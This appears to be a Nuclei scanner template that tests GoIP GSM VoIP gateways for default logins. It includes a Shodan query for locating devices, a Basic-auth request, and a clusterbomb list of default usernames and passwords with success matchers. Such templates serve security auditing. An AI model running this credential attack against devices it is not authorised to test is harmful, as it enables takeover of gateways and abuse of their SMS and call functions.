56 lines
1.6 KiB
YAML
56 lines
1.6 KiB
YAML
id: goip-default-login
|
|
|
|
info:
|
|
name: GoIP GSM VoIP Gateway - Default Password
|
|
author: drfabiocastro
|
|
severity: high
|
|
description: |
|
|
GoIP GSM VoIP Gateway Default Password, Allows attackers to send, receive sms and calls.
|
|
reference:
|
|
- http://en.dbltek.com/
|
|
- https://medium.com/@hackatnow/how-to-create-a-python-script-to-find-goip-gsm-gateway-on-shodan-and-send-sms-ussd-via-goip-e2e203f5d339
|
|
- https://www.voip-systems.ru/assets/files/voip/voip-gsm/User_Manual_1_4_8_16.pdf
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
cvss-score: 8.3
|
|
cwe-id: CWE-522
|
|
metadata:
|
|
max-request: 12
|
|
shodan-query: 'HTTP/1.0 401 Please Authenticate\r\nWWW-Authenticate: Basic realm="Please Login"'
|
|
tags: default-login,goip,gsm
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /default/en_US/status.html HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Basic {{base64(username + ':' + password)}}
|
|
|
|
attack: clusterbomb
|
|
payloads:
|
|
username:
|
|
- admin
|
|
- root
|
|
- sms
|
|
- user
|
|
password:
|
|
- admin
|
|
- root
|
|
- 1234
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "Status"
|
|
- "GoIP"
|
|
- "Summary"
|
|
- "Logout"
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502204c57842288cef058fecc86826a26dfc26ab5253202b81e83310006efc2ff11f8022100b540efef1033797e6eccf0441935ffc13a5e0637c36330be456e93afda4506de:922c64590222798bb761d5b6d8e72950 |